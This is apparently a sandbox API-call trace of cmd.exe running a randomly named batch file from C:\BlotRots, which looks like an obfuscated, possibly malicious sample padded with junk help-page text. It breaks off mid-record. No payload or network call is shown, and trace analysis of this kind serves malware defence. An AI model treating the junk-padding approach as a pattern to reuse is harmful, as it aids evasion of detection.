[0161.360] _wcsicmp (_String1="Windows", _String2="SET") returned 4 [0161.360] _wcsicmp (_String1="Windows", _String2="PAUSE") returned 7 [0161.360] _wcsicmp (_String1="Windows", _String2="DATE") returned 19 [0161.360] _wcsicmp (_String1="Windows", _String2="TIME") returned 3 [0161.361] _wcsicmp (_String1="Windows", _String2="PROMPT") returned 7 [0161.361] _wcsicmp (_String1="Windows", _String2="MD") returned 10 [0161.361] _wcsicmp (_String1="Windows", _String2="MKDIR") returned 10 [0161.361] _wcsicmp (_String1="Windows", _String2="RD") returned 5 [0161.361] _wcsicmp (_String1="Windows", _String2="RMDIR") returned 5 [0161.361] _wcsicmp (_String1="Windows", _String2="PATH") returned 7 [0161.361] _wcsicmp (_String1="Windows", _String2="GOTO") returned 16 [0161.361] _wcsicmp (_String1="Windows", _String2="SHIFT") returned 4 [0161.361] _wcsicmp (_String1="Windows", _String2="CLS") returned 20 [0161.361] _wcsicmp (_String1="Windows", _String2="CALL") returned 20 [0161.361] _wcsicmp (_String1="Windows", _String2="VERIFY") returned 1 [0161.361] _wcsicmp (_String1="Windows", _String2="VER") returned 1 [0161.361] _wcsicmp (_String1="Windows", _String2="VOL") returned 1 [0161.361] _wcsicmp (_String1="Windows", _String2="EXIT") returned 18 [0161.361] _wcsicmp (_String1="Windows", _String2="SETLOCAL") returned 4 [0161.361] _wcsicmp (_String1="Windows", _String2="ENDLOCAL") returned 18 [0161.361] _wcsicmp (_String1="Windows", _String2="TITLE") returned 3 [0161.361] _wcsicmp (_String1="Windows", _String2="START") returned 4 [0161.361] _wcsicmp (_String1="Windows", _String2="DPATH") returned 19 [0161.361] _wcsicmp (_String1="Windows", _String2="KEYS") returned 12 [0161.361] _wcsicmp (_String1="Windows", _String2="MOVE") returned 10 [0161.361] _wcsicmp (_String1="Windows", _String2="PUSHD") returned 7 [0161.361] _wcsicmp (_String1="Windows", _String2="POPD") returned 7 [0161.361] _wcsicmp (_String1="Windows", _String2="ASSOC") returned 22 [0161.361] _wcsicmp (_String1="Windows", _String2="FTYPE") returned 17 [0161.361] _wcsicmp (_String1="Windows", _String2="BREAK") returned 21 [0161.361] _wcsicmp (_String1="Windows", _String2="COLOR") returned 20 [0161.361] _wcsicmp (_String1="Windows", _String2="MKLINK") returned 10 [0161.361] _wcsicmp (_String1="Windows", _String2="FOR") returned 17 [0161.361] _wcsicmp (_String1="Windows", _String2="IF") returned 14 [0161.361] _wcsicmp (_String1="Windows", _String2="REM") returned 5 [0161.361] ??_V@YAXPEAX@Z () returned 0x1 [0161.362] GetProcessHeap () returned 0x20b0f920000 [0161.362] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xffde) returned 0x20b0f946660 [0161.363] GetProcessHeap () returned 0x20b0f920000 [0161.363] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb8) returned 0x20b0f956650 [0161.363] _wcsnicmp (_String1="Wind", _String2="cmd ", _MaxCount=0x4) returned 20 [0161.363] malloc (_Size=0xffce) returned 0x20b0fa80900 [0161.363] ??_V@YAXPEAX@Z () returned 0x20b0fa80900 [0161.363] GetProcessHeap () returned 0x20b0f920000 [0161.363] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1ffac) returned 0x20b0f956f80 [0161.364] SetErrorMode (uMode=0x0) returned 0x0 [0161.364] SetErrorMode (uMode=0x1) returned 0x0 [0161.364] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x20b0f956f90, lpFilePart=0x9cb92fe400 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x9cb92fe400*="system32") returned 0x13 [0161.364] SetErrorMode (uMode=0x0) returned 0x1 [0161.364] GetProcessHeap () returned 0x20b0f920000 [0161.364] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f956f80, Size=0x48) returned 0x20b0f956f80 [0161.364] GetProcessHeap () returned 0x20b0f920000 [0161.364] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f956f80) returned 0x48 [0161.364] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0161.364] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0161.364] GetProcessHeap () returned 0x20b0f920000 [0161.364] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x1b4) returned 0x20b0f92e2a0 [0161.364] GetProcessHeap () returned 0x20b0f920000 [0161.364] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x358) returned 0x20b0f9269b0 [0161.364] GetProcessHeap () returned 0x20b0f920000 [0161.364] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f9269b0, Size=0x1b6) returned 0x20b0f9269b0 [0161.364] GetProcessHeap () returned 0x20b0f920000 [0161.364] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f9269b0) returned 0x1b6 [0161.364] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff6e2e6bb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0161.364] GetProcessHeap () returned 0x20b0f920000 [0161.364] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xe8) returned 0x20b0f92d680 [0161.364] GetProcessHeap () returned 0x20b0f920000 [0161.364] RtlReAllocateHeap (Heap=0x20b0f920000, Flags=0x0, Ptr=0x20b0f92d680, Size=0x7e) returned 0x20b0f92d680 [0161.364] GetProcessHeap () returned 0x20b0f920000 [0161.364] RtlSizeHeap (HeapHandle=0x20b0f920000, Flags=0x0, MemoryPointer=0x20b0f92d680) returned 0x7e [0161.364] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.364] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92cdf0 [0161.365] FindClose (in: hFindFile=0x20b0f92cdf0 | out: hFindFile=0x20b0f92cdf0) returned 1 [0161.365] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.365] GetLastError () returned 0x2 [0161.365] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.365] GetLastError () returned 0x2 [0161.365] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.365] GetLastError () returned 0x2 [0161.365] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.365] GetLastError () returned 0x2 [0161.365] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.366] GetLastError () returned 0x2 [0161.366] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.366] GetLastError () returned 0x2 [0161.366] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.366] GetLastError () returned 0x2 [0161.366] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.366] GetLastError () returned 0x2 [0161.366] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.366] GetLastError () returned 0x2 [0161.366] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.366] GetLastError () returned 0x2 [0161.366] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.367] GetLastError () returned 0x2 [0161.367] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.367] FindFirstFileExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.367] GetLastError () returned 0x2 [0161.367] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.367] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0x20b0f92d390 [0161.367] FindClose (in: hFindFile=0x20b0f92d390 | out: hFindFile=0x20b0f92d390) returned 1 [0161.367] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.COM", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.367] GetLastError () returned 0x2 [0161.367] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.EXE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.367] GetLastError () returned 0x2 [0161.368] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.BAT", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.368] GetLastError () returned 0x2 [0161.368] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.CMD", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.368] GetLastError () returned 0x2 [0161.368] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.368] GetLastError () returned 0x2 [0161.368] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.VBE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.368] GetLastError () returned 0x2 [0161.368] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JS", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.368] GetLastError () returned 0x2 [0161.368] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.JSE", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.368] GetLastError () returned 0x2 [0161.368] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSF", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.369] GetLastError () returned 0x2 [0161.369] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.WSH", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.369] GetLastError () returned 0x2 [0161.369] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\system32\\Windows.MSC", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.369] GetLastError () returned 0x2 [0161.369] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.369] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.370] GetLastError () returned 0x2 [0161.370] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.371] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.371] GetLastError () returned 0x2 [0161.371] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.371] FindFirstFileExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.371] GetLastError () returned 0x2 [0161.371] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0161.371] FindFirstFileExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\Windows.*", fInfoLevelId=0x1, lpFindFileData=0x9cb92fe170, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x9cb92fe170) returned 0xffffffffffffffff [0161.371] GetLastError () returned 0x2 [0161.371] ??_V@YAXPEAX@Z () returned 0x1 [0161.372] _get_osfhandle (_FileHandle=2) returned 0x54 [0161.372] GetFileType (hFile=0x54) returned 0x2 [0161.372] GetStdHandle (nStdHandle=0xfffffff4) returned 0x54 [0161.372] GetConsoleMode (in: hConsoleHandle=0x54, lpMode=0x9cb92fe5c8 | out: lpMode=0x9cb92fe5c8) returned 1 [0161.394] _get_osfhandle (_FileHandle=2) returned 0x54 [0161.394] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x54, lpConsoleScreenBufferInfo=0x9cb92fe600 | out: lpConsoleScreenBufferInfo=0x9cb92fe600) returned 1 [0161.405] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="'%1' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x5d [0161.405] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2331, dwLanguageId=0x0, lpBuffer=0x7ff6e2e77f60, nSize=0x2000, Arguments=0x9cb92fe6a0 | out: lpBuffer="'Windows' is not recognized as an internal or external command,\r\noperable program or batch file.\r\n") returned 0x62 [0161.405] WriteConsoleW (in: hConsoleOutput=0x54, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x62, lpNumberOfCharsWritten=0x9cb92fe5f0, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fe5f0*=0x62) returned 1 [0161.464] ??_V@YAXPEAX@Z () returned 0x1 [0161.465] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.465] SetConsoleMode (hConsoleHandle=0x50, dwMode=0x7) returned 1 [0161.475] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.475] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x7ff6e2e6fc08 | out: lpMode=0x7ff6e2e6fc08) returned 1 [0161.481] _get_osfhandle (_FileHandle=0) returned 0x4c [0161.482] GetConsoleMode (in: hConsoleHandle=0x4c, lpMode=0x7ff6e2e6fc0c | out: lpMode=0x7ff6e2e6fc0c) returned 1 [0161.490] SetConsoleInputExeNameW () returned 0x1 [0161.490] GetConsoleOutputCP () returned 0x1b5 [0161.495] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6e2e6fbb0 | out: lpCPInfo=0x7ff6e2e6fbb0) returned 1 [0161.495] SetThreadUILanguage (LangId=0x0) returned 0x409 [0161.550] ??_V@YAXPEAX@Z () returned 0x1 [0161.551] CreateFileW (lpFileName="C:\\BlotRots\\djsfgytdftftyYFGfghffghYYTTT.cmd" (normalized: "c:\\blotrots\\djsfgytdftftyyfgfghffghyyttt.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9cb92fedd8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x94 [0161.551] _open_osfhandle (_OSFileHandle=0x94, _Flags=8) returned 3 [0161.551] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.551] SetFilePointer (in: hFile=0x94, lDistanceToMove=205, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xcd [0161.551] GetProcessHeap () returned 0x20b0f920000 [0161.551] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d680) returned 1 [0161.551] GetProcessHeap () returned 0x20b0f920000 [0161.551] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f9269b0) returned 1 [0161.551] GetProcessHeap () returned 0x20b0f920000 [0161.551] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e2a0) returned 1 [0161.551] GetProcessHeap () returned 0x20b0f920000 [0161.551] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f80) returned 1 [0161.551] GetProcessHeap () returned 0x20b0f920000 [0161.551] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956650) returned 1 [0161.551] GetProcessHeap () returned 0x20b0f920000 [0161.552] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946660) returned 1 [0161.552] GetProcessHeap () returned 0x20b0f920000 [0161.552] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d5f0) returned 1 [0161.552] GetProcessHeap () returned 0x20b0f920000 [0161.552] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92e0d0) returned 1 [0161.552] GetProcessHeap () returned 0x20b0f920000 [0161.552] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92d430) returned 1 [0161.552] GetProcessHeap () returned 0x20b0f920000 [0161.552] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f956f20) returned 1 [0161.553] GetProcessHeap () returned 0x20b0f920000 [0161.553] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92cb10) returned 1 [0161.553] GetProcessHeap () returned 0x20b0f920000 [0161.553] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f928040) returned 1 [0161.553] GetProcessHeap () returned 0x20b0f920000 [0161.553] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f92ca50) returned 1 [0161.553] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.553] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xcd [0161.553] ReadFile (in: hFile=0x94, lpBuffer=0x7ff6e2e69970, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x9cb92fed90, lpOverlapped=0x0 | out: lpBuffer=0x7ff6e2e69970*, lpNumberOfBytesRead=0x9cb92fed90*=0x16e8, lpOverlapped=0x0) returned 1 [0161.553] SetFilePointer (in: hFile=0x94, lDistanceToMove=308, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x134 [0161.553] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6e2e69970, cbMultiByte=103, lpWideCharStr=0x7ff6e2e73c30, cchWideChar=8191 | out: lpWideCharStr=" Windows XP and is listed separately on this page. Syntax in Windows Vista, 7, ...\r\n \r\n") returned 103 [0161.554] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.554] GetFileType (hFile=0x94) returned 0x1 [0161.554] _get_osfhandle (_FileHandle=3) returned 0x94 [0161.554] SetFilePointer (in: hFile=0x94, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x134 [0161.554] GetProcessHeap () returned 0x20b0f920000 [0161.554] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x4012) returned 0x20b0f946660 [0161.554] GetProcessHeap () returned 0x20b0f920000 [0161.554] RtlFreeHeap (HeapHandle=0x20b0f920000, Flags=0x0, BaseAddress=0x20b0f946660) returned 1 [0161.554] _wcsicmp (_String1="Windows", _String2=")") returned 78 [0161.554] _wcsicmp (_String1="FOR", _String2="Windows") returned -17 [0161.554] _wcsicmp (_String1="FOR/?", _String2="Windows") returned -17 [0161.554] _wcsicmp (_String1="IF", _String2="Windows") returned -14 [0161.555] _wcsicmp (_String1="IF/?", _String2="Windows") returned -14 [0161.555] _wcsicmp (_String1="REM", _String2="Windows") returned -5 [0161.555] _wcsicmp (_String1="REM/?", _String2="Windows") returned -5 [0161.555] GetProcessHeap () returned 0x20b0f920000 [0161.555] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xb0) returned 0x20b0f92ca50 [0161.555] GetProcessHeap () returned 0x20b0f920000 [0161.555] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0x20) returned 0x20b0f928040 [0161.555] GetProcessHeap () returned 0x20b0f920000 [0161.555] RtlAllocateHeap (HeapHandle=0x20b0f920000, Flags=0x8, Size=0xa6) returned 0x20b0f92cb10 [0161.555] _tell (_FileHandle=3) returned 308 [0161.555] _close (_FileHandle=3) returned 0 [0161.555] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92feb68 | out: _Buffer="\r\n") returned 2 [0161.555] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.555] GetFileType (hFile=0x50) returned 0x2 [0161.556] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.556] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feaf8 | out: lpMode=0x9cb92feaf8) returned 1 [0161.599] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.599] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x9cb92feb38, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92feb38*=0x2) returned 1 [0161.635] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x20b0fa20080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0161.635] _vsnwprintf (in: _Buffer=0x20b0fa50160, _BufferCount=0x83e5, _Format="%s", _ArgList=0x9cb92feb78 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0161.636] _vsnwprintf (in: _Buffer=0x20b0fa50186, _BufferCount=0x83d2, _Format="%c", _ArgList=0x9cb92feb78 | out: _Buffer=">") returned 1 [0161.636] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.636] GetFileType (hFile=0x50) returned 0x2 [0161.636] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.636] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92feb28 | out: lpMode=0x9cb92feb28) returned 1 [0161.651] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.651] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0fa50160*, nNumberOfCharsToWrite=0x14, lpNumberOfCharsWritten=0x9cb92feb68, lpReserved=0x0 | out: lpBuffer=0x20b0fa50160*, lpNumberOfCharsWritten=0x9cb92feb68*=0x14) returned 1 [0161.690] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.690] GetFileType (hFile=0x50) returned 0x2 [0161.690] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.690] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0161.693] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.693] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x20b0f928050*, nNumberOfCharsToWrite=0x7, lpNumberOfCharsWritten=0x9cb92fee38, lpReserved=0x0 | out: lpBuffer=0x20b0f928050*, lpNumberOfCharsWritten=0x9cb92fee38*=0x7) returned 1 [0161.694] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x9cb92fee38 | out: _Buffer=" XP and is listed separately on this page. Syntax in Windows Vista, 7, ... ") returned 75 [0161.694] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.694] GetFileType (hFile=0x50) returned 0x2 [0161.694] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.694] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedc8 | out: lpMode=0x9cb92fedc8) returned 1 [0161.695] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.695] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x4b, lpNumberOfCharsWritten=0x9cb92fee08, lpReserved=0x0 | out: lpBuffer=0x7ff6e2e77f60*, lpNumberOfCharsWritten=0x9cb92fee08*=0x4b) returned 1 [0161.695] _vsnwprintf (in: _Buffer=0x7ff6e2e77f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x9cb92fee68 | out: _Buffer="\r\n") returned 2 [0161.695] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.695] GetFileType (hFile=0x50) returned 0x2 [0161.695] GetStdHandle (nStdHandle=0xfffffff5) returned 0x50 [0161.695] GetConsoleMode (in: hConsoleHandle=0x50, lpMode=0x9cb92fedf8 | out: lpMode=0x9cb92fedf8) returned 1 [0161.696] _get_osfhandle (_FileHandle=1) returned 0x50 [0161.696] WriteConsoleW (in: hConsoleOutput=0x50, lpBuffer=0x7ff6e2e77f60*, nNumberOfCharsToWrite=0x2, 